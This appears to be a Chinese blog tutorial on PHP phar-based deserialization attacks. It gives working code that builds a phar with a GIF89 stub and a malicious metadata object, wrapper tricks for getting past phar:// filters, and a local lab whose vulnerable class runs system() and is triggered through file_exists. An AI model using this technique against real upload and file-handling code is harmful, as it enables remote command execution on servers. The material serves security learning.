利用phar进行反序列化扩展攻击简单总结

前言

一般的反序列化漏洞都是要通过unserialize函数,进行反序列化之后才能触发的。但是如果在没有unserialize函数触发前提下,那么该怎么利用反序列化漏洞呢?这里就需要使用phar://进行等效替代。

原理

phar文件的组成

phar://的官方解释如下:

简单解释就是:通过phar://的处理可以把多个文件合成一个文件(类似压缩),但是php却可以不经过解压的方法,将多个文件解释执行。

phar文件结构分为四个部分组成:stub(文件标志),meta-data,压缩文件内容,签名。
一. stub 文件标志
格式为:

1
xxxx<?php xxxxx;__HALT_COMPILER();?>

二.meta-data
每个被压缩的文件的权限,属性等信息都放在这里,这部分会以序列化的方式存储到phar文件的meta-data部分。
这个部分是触发反序化的关键。
三.压缩文件内容
被压缩的文件的内容。
四.签名,放在文件末尾,格式如下

在PHP中我们不需要手动去写phar文件,因为php提供了一个phar类直接调用其中的方法即可。
一个小的demo文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Da4er{
public function __destruct(){
var_dump("https://da4er.top");
}
}
//如果存在phar文件先删除
@unlink("da4er.phar");
$phar = new Phar("da4er1.phar");
//开始生成phar文件
$phar->startBuffering();
//设置phar文件标志
$phar->setStub("GIF89"."<?php __HALT_COMPILER(); ?>");
//自定义的meta-data文件
$o = new Da4er();
$phar->setMetadata($o);//将自定义的meta-data文件存入phar文件
$phar->addFromString("test.txt","test");
//在停止写入phar文件,自动生成签名
$phar->stopBuffering();

效果如下:

发现我们自定义的meta-data反序化写入到了phar文件中。

触发反序化的文件函数

经过上面对phar文件的理解,我们清除了phar文件中包含序列化对象,那么该怎么利用呢。这里就需要使用php内置的文件处理函数。因为大部分的文件处理函数在底层都是调用的unserialize函数。
参考博客:1
受影响的文件函数如下:

如果这些文件函数的参数可控的话,我们就可以进行反序化漏洞的利用。
demo代码如下:

1
2
3
4
5
6
7
8
<?php
class Da4er{
public function __destruct(){
var_dump("https://da4er.top");
}
}
$filename = "phar://da4er1.phar";
@file_get_contents($filename);

触发效果如下:

常见的绕过方式:如果题目限制的不能以phar://开头,那么我们可以使用如下方式绕过:

1
2
3
compress.zlib://phar://da4er1.phar

compress.bzip2://phar://da4er1.phar

利用条件

经过对phar进行的反序列化攻击的原理说明,我们清楚了在没有unserilize的前提下,还是可以进行反序化漏洞的利用的。 但是phar的利用还是要清楚下面几点利用条件:
1.phar文件能上传到服务器
2.文件处理函数的参数可控
3.用可以的魔法方法作为跳板
4.没有过滤像phar一些特殊字符

举例说明

自己在本地写个文件上传代码进行测试,代码如下:
upload.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>
文件上传页面
</title>
</head>
<body>
<form action="check_file.php" method="POST" enctype="multipart/form-data">
<input type="file" name="filename">
<br>
<input type="submit" value="提交">
</form>
</body>
</html>

check_file.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
function get_rand_filename()
{
$base_filename=@date("YmdHis");
//形成六位随机数
for ($i=0;$i<6;$i++)
{
switch (mt_rand(0,2))
{
case (0):
$base_filename .=chr(mt_rand(97,122));
break;
case (1):
$base_filename .=chr(mt_rand(65,90));
case (2):
$base_filename .=mt_rand(0,9);
}
}
return $base_filename;
}
header("Content-Type: text/html;charset=utf-8");
$maxsize=1024*1024*3;
$accept_filename=["image/jpg","image/jpeg","image/png","image/gif"];
if (!in_array($_FILES["filename"]["type"],$accept_filename))
{
exit("不允许上传");
}
$info=pathinfo($_FILES["filename"]["name"],PATHINFO_EXTENSION);
$basename=get_rand_filename();
$filname=$basename.".".$info;
$base_dir="G://PHPstudy/PHPTutorial/WWW/PHP/ceshi/phar/exercise/upload";
$dest=$base_dir."/".$filname;
$tmp=$_FILES["filename"]["tmp_name"];
move_uploaded_file($tmp,$dest);
echo $dest;

bug.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$finame = isset($_GET['name']) ? $_GET["name"]:"";
class OjectTest{
public $u1s1="111";
public function __construct($u){
$this->u1s1 = $u;
}
public function __destruct(){
system($this->u1s1);
}
}
if(file_exists($finame)){
$da4er = new OjectTest();
}
else{
exit("1");
}

poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
header("Content-type:text/html;charset='utf-8'");
class OjectTest{
public $u1s1;
}
//如果存在phar文件先删除
@unlink("da4er.phar");
$phar = new Phar("da4er.phar");
//开始生成phar文件
$phar->startBuffering();
//设置phar文件标志
$phar->setStub("GIF89"."<?php __HALT_COMPILER(); ?>");
//自定义的meta-data文件
$o = new OjectTest();
$o->u1s1 = "ipconfig";
$phar->setMetadata($o);//将自定义的meta-data文件存入phar文件
$phar->addFromString("test.txt","test");
//在停止写入phar文件,自动生成签名
$phar->stopBuffering();

最终的执行效果:

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×